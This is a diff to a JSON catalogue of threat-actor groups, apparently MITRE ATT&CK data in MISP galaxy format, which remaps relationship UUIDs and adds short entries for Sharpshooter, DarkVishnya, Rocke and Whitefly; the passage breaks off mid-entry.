@@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9006,21 +11170,21 @@ "type": "uses" }, { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9048,14 +11212,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9069,7 +11233,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9090,35 +11254,35 @@ "type": "uses" }, { - "dest-uuid": "d3046a90-580c-4004-8208-66915bc29830", + "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9209,7 +11373,7 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9223,7 +11387,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9244,7 +11408,7 @@ "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9258,14 +11422,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9298,13 +11462,212 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "64764dc6-a032-495f-8250-1e4c06bdc163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b19d6b4-cfcb-492f-8ca8-8449e7331573", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "18854f55-ac7c-4634-bd9a-352dd07613b7", "value": "APT41 - G0096" }, { - "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)", + "description": "Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)", + "meta": { + "external_id": "G0104", + "refs": [ + "https://attack.mitre.org/groups/G0104", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf" + ], + "synonyms": [ + "Sharpshooter" + ] + }, + "related": [ + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56e6b6c2-e573-4969-8bab-783205cebbbf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5e78ae92-3ffd-4b16-bf62-e798529d73f1", + "value": "Sharpshooter - G0104" + }, + { + "description": "[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)", "meta": { "external_id": "G0041", "refs": [ @@ -9327,7 +11690,7 @@ "type": "similar" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9341,7 +11704,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9351,6 +11721,100 @@ "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656", "value": "Strider - G0041" }, + { + "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)", + "meta": { + "external_id": "G0105", + "refs": [ + "https://attack.mitre.org/groups/G0105", + "https://securelist.com/darkvishnya/89169/" + ], + "synonyms": [ + "DarkVishnya" + ] + }, + "related": [ + { + "dest-uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "813636db-3939-4a45-bea9-6113e970c029", + "value": "DarkVishnya - G0105" + }, { "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", "meta": { @@ -9404,7 +11868,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9425,7 +11889,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9439,42 +11903,35 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9495,7 +11952,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9509,21 +11966,21 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9537,7 +11994,7 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9551,21 +12008,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9586,7 +12043,7 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9598,11 +12055,287 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826", "value": "FIN8 - G0061" }, + { + "description": "[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)", + "meta": { + "external_id": "G0106", + "refs": [ + "https://attack.mitre.org/groups/G0106", + "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html" + ], + "synonyms": [ + "Rocke" + ] + }, + "related": [ + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "44102191-3a31-45f8-acbe-34bdb441d5ad", + "value": "Rocke - G0106" + }, { "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", "meta": { @@ -9691,7 +12424,7 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9712,7 +12445,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9730,7 +12463,87 @@ "value": "Orangeworm - G0071" }, { - "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "description": "[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)", + "meta": { + "external_id": "G0107", + "refs": [ + "https://attack.mitre.org/groups/G0107", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore" + ], + "synonyms": [ + "Whitefly" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b74f909f-8e52-4b69-b770-162bf59a1b4e", + "value": 